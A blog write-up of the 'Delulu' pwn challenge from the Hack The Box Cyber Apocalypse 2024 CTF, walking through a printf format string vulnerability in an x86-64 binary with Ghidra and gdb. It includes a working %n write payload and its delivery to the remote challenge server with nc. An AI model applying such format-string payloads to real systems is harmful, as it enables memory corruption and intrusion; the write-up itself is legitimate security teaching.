forbytten blogs

Delulu Writeup - Cyber Apocalypse 2024

Last update:

1 Introduction

This writeup covers the Delulu Pwn challenge from the Hack The Box Cyber Apocalypse 2024 CTF, which was rated as having a ‘very easy’ difficulty. The challenge involved the identification and exploitation of a printf format string vulnerability within an ELF x86-64 binary.

The description of the challenge is shown below.

Delulu challenge description

2 Key Techniques

The key techniques employed in this writeup are:

3 Artifacts Summary

The downloaded artifact had the following hash:

$ shasum -a256

The zip file contained a delulu binary, a fake flag file and glibc libraries:

$ unzip
   creating: challenge/
   creating: challenge/glibc/
  inflating: challenge/glibc/
  inflating: challenge/glibc/
  inflating: challenge/delulu
 extracting: challenge/flag.txt

$ shasum -a256 $(find challenge -type f)
bc1a1b62cb2b8d8c8d73e62848016d5c1caa22208081f07a4f639533efee1e4a  challenge/glibc/
4d2657934fc7442f86bd1258a7c6440aeab584add04f0c3dae6c6f4610c612f4  challenge/glibc/
2400f9b552642c9222e823a3788680eabd361fe4b36ae6be55ebcc11dce62f29  challenge/delulu
1d5bc96de556b62162db68870aa29581f152c172cf5e73cf74f381cf42c07b84  challenge/flag.txt

4 Vulnerability analysis

4.1 Basic file identification

The file command was used to identify the binary. For the purposes of the challenge, the key properties identified were:

$ file delulu
delulu: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./glibc/, BuildID[sha1]=edae8c8bd5153e13fa60aa00f53071bb7b9a122f, for GNU/Linux 3.2.0, not stripped

4.2 The delulu function prints the flag

The binary was imported into Ghidra using default settings and the main function located.

In the block below, if the local_48 stack variable equals the constant 0x1337beef, the delulu function is called. The pertinent instructions have been commented below.

delulu function called if the local_48 stack variable equals the constant 0x1337beef

The delulu function opens the flag file and prints its contents. This function is structured very similarly to the open_door function from the Writing on the Wall challenge.

The delulu function opens the flag file and prints its contents

However, back in the main function, the local_48 variable is initialized to the constant 0x1337babe and therefore, the conditional leading to delulu being called will never be true during a normal execution flow.

The local_48 stack variable is initialized to the constant 0x1337babe, in contrast to the desired value of 0x1337beef

4.3 Identifying a printf format string vulnerability

Between the initialization of local_48 and the conditional leading to delulu being called, the main function does the following:

  1. Reads up to 0x1f (31) bytes of user input into the local_38 stack variable.

    main function reads up to 0x1f (31) bytes of user input into local_38
  2. Calls printf with local_38 as its first argument. From man 3 printf1, the signature of the printf function is:

    int printf(const char *restrict format, ...);

    The format string can include conversion specifications, “each of which results in fetching zero or more subsequent arguments”. Since the subsequent arguments in the signature are variable, this means that even on an x86-64 architecture, subsequent arguments are read from the stack, not from registers. Since local_38 is attacker controlled, this can allow an attacker to read data from the stack and, due to a special conversion specification %n, write data as well, which will be examined further below. This vulnerability is an instance of the common weakness CWE-134: Use of Externally-Controlled Format String.

    main function calls printf with the attacker controlled local_38 as its first argument, giving rise to a printf format string vulnerability

The special printf conversion specification %n writes the number of characters written so far into the corresponding variable. In order to write data into local_48 variable, though, the address of local_48 needs to be known but the executable is a position independent executable, so the address will vary between executions. However, the challenge has provided an easy path by initializing local_40 to point to local_48:

The local_40 stack variable points to local_48. In other words, it contains the address of local_48

4.4 Confirming the printf format string vulnerability

The following format string payload was placed into input.txt. Each %p conversion specification will result in an argument being read from the stack and printed out, where the argument is expected to be a pointer and hence 8 bytes on the x86-64 architecture. The periods are literal characters that will separate each pointer.


The delulu binary was executed with the payload. 0x1337babe can be seen in the output. This is known to be the value of local_48. Since the stack grows from high to low addresses and given Ghidra’s naming convention, local_40 is at a lower address than local_48. Therefore, the next value printed is the value of local_40, which is known to be the address of local_48, namely 0x7ffce6641d40 in this instance. Furthermore, the value corresponds to the 7th conversion specification.

$ ./delulu < input.txt | tail

The D-LuLu face identification robot will scan you shortly!

Try to deceive it by changing your ID.

[!] Checking.. 0x7ffce663fc20.(nil).0x7fb213114887.0x10.0x7fffffff.0x1337babe.0x7ffce6641d40.0x70252e70252e7025


5 Local exploitation

The value to be written to local_48 is 0x1337beef, or 322420463 in decimal:

python3 -c "print(0x1337beef)"

The special printf conversion specification %n writes the number of characters written so far into the corresponding pointer variable. Furthermore, each conversion specification supports an optional field width that can be used to adjust the number of characters written. To determine the required field width, a starting value of 1000 was chosen for the conversion specification prior to the %n and written to input.txt:

$ echo '%p.%p.%p.%p.%p.%1000p.%n' > input.txt

gdb was then used to observe what the result stored in local_48 was:

  1. gdb was started:

    $ gdb -q delulu
  2. A breakpoint was set on the main function:

    (gdb) b main
    Breakpoint 1 at 0x1452
  3. The program was run with input redirected from input.txt, resulting in the breakpoint being hit:

    (gdb) run < input.txt
    Breakpoint 1, 0x0000555555555452 in main ()
    => 0x0000555555555452 <main+8>: 48 83 ec 40             sub    rsp,0x40
  4. The main function was disassembled in order to determine the addresses of instructions:

    (gdb) disass main
    Dump of assembler code for function main:
       0x000055555555544a <+0>:     endbr64
       0x000055555555544e <+4>:     push   rbp
       0x000055555555544f <+5>:     mov    rbp,rsp
    => 0x0000555555555452 <+8>:     sub    rsp,0x40
       0x0000555555555456 <+12>:    mov    rax,QWORD PTR fs:0x28
       0x000055555555545f <+21>:    mov    QWORD PTR [rbp-0x8],rax
       0x0000555555555463 <+25>:    xor    eax,eax
       0x0000555555555465 <+27>:    mov    QWORD PTR [rbp-0x40],0x1337babe
       0x000055555555546d <+35>:    lea    rax,[rbp-0x40]
       0x0000555555555471 <+39>:    mov    QWORD PTR [rbp-0x38],rax
       0x0000555555555475 <+43>:    mov    QWORD PTR [rbp-0x30],0x0
       0x000055555555547d <+51>:    mov    QWORD PTR [rbp-0x28],0x0
       0x0000555555555485 <+59>:    mov    QWORD PTR [rbp-0x20],0x0
       0x000055555555548d <+67>:    mov    QWORD PTR [rbp-0x18],0x0
       0x0000555555555495 <+75>:    lea    rax,[rbp-0x30]
       0x0000555555555499 <+79>:    mov    edx,0x1f
       0x000055555555549e <+84>:    mov    rsi,rax
       0x00005555555554a1 <+87>:    mov    edi,0x0
       0x00005555555554a6 <+92>:    call   0x555555555130 <read@plt>
       0x00005555555554ab <+97>:    lea    rax,[rip+0x112a]        # 0x5555555565dc
       0x00005555555554b2 <+104>:   mov    rdi,rax
       0x00005555555554b5 <+107>:   mov    eax,0x0
       0x00005555555554ba <+112>:   call   0x5555555550f0 <printf@plt>
       0x00005555555554bf <+117>:   lea    rax,[rbp-0x30]
       0x00005555555554c3 <+121>:   mov    rdi,rax
       0x00005555555554c6 <+124>:   mov    eax,0x0
       0x00005555555554cb <+129>:   call   0x5555555550f0 <printf@plt>
       0x00005555555554d0 <+134>:   mov    rax,QWORD PTR [rbp-0x40]
       0x00005555555554d4 <+138>:   cmp    rax,0x1337beef
       0x00005555555554da <+144>:   je     0x5555555554ed <main+163>
       0x00005555555554dc <+146>:   lea    rax,[rip+0x110a]        # 0x5555555565ed
       0x00005555555554e3 <+153>:   mov    rdi,rax
       0x00005555555554e6 <+156>:   call   0x555555555269 <error>
       0x00005555555554eb <+161>:   jmp    0x5555555554f7 <main+173>
       0x00005555555554ed <+163>:   mov    eax,0x0
       0x00005555555554f2 <+168>:   call   0x555555555332 <delulu>
       0x00005555555554f7 <+173>:   mov    eax,0x0
       0x00005555555554fc <+178>:   mov    rdx,QWORD PTR [rbp-0x8]
       0x0000555555555500 <+182>:   sub    rdx,QWORD PTR fs:0x28
       0x0000555555555509 <+191>:   je     0x555555555510 <main+198>
       0x000055555555550b <+193>:   call   0x5555555550e0 <__stack_chk_fail@plt>
       0x0000555555555510 <+198>:   leave
       0x0000555555555511 <+199>:   ret
    End of assembler dump.
  5. A breakpoint was set on the cmp rax,0x1337beef instruction:

    (gdb) b *(main+138)
    Breakpoint 2 at 0x5555555554d4
  6. Execution was continued until breakpoint 2 was hit:

    (gdb) c
    [!] Checking.. 0x7fffffffb910.(nil).0x7ffff7d14887.0x10.0x7fffffff.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              0x1337babe.
    Breakpoint 2, 0x00005555555554d4 in main ()
    => 0x00005555555554d4 <main+138>:       48 3d ef be 37 13       cmp    rax,0x1337beef
  7. The value of register rax was inspected:

    (gdb) i r rax
    rax            0x41d               1053

This tells us that a field width of 1000 results in 1053 being written to local_48, 53 higher than the specified width. Thus, to write 322420463 would require a field width of 322420410:

$ python3 -c "print(322420463 - 53)"

A new payload was constructed with this field width:

$ echo  '%p.%p.%p.%p.%p.%322420410p.%n' > write_0x1337beef_to_target.txt

The payload was delivered to the local binary with input redirected from write_0x1337beef_to_target.txt and the output grepped for “HTB”, resulting in the flag being printed:

$ ./delulu < write_0x1337beef_to_target.txt | grep HTB
You managed to deceive the robot, here's your new identity: HTB{f4k3_fl4g_4_t35t1ng}

6 Remote exploitation - obtaining the flag

The payload was delivered to the remote target using nc, again with input redirected from write_0x1337beef_to_target.txt and the output grepped for “HTB”, resulting in the flag being obtained:

$ nc -n -v 35361 < write_0x1337beef_to_target.txt|grep HTB
(UNKNOWN) [] 35361 (?) open
You managed to deceive the robot, here's your new identity: HTB{m45t3r_0f_d3c3pt10n}

7 Conclusion

The flag was submitted and the challenge was marked as pwned

Submission of the flag marked the challenge as pwned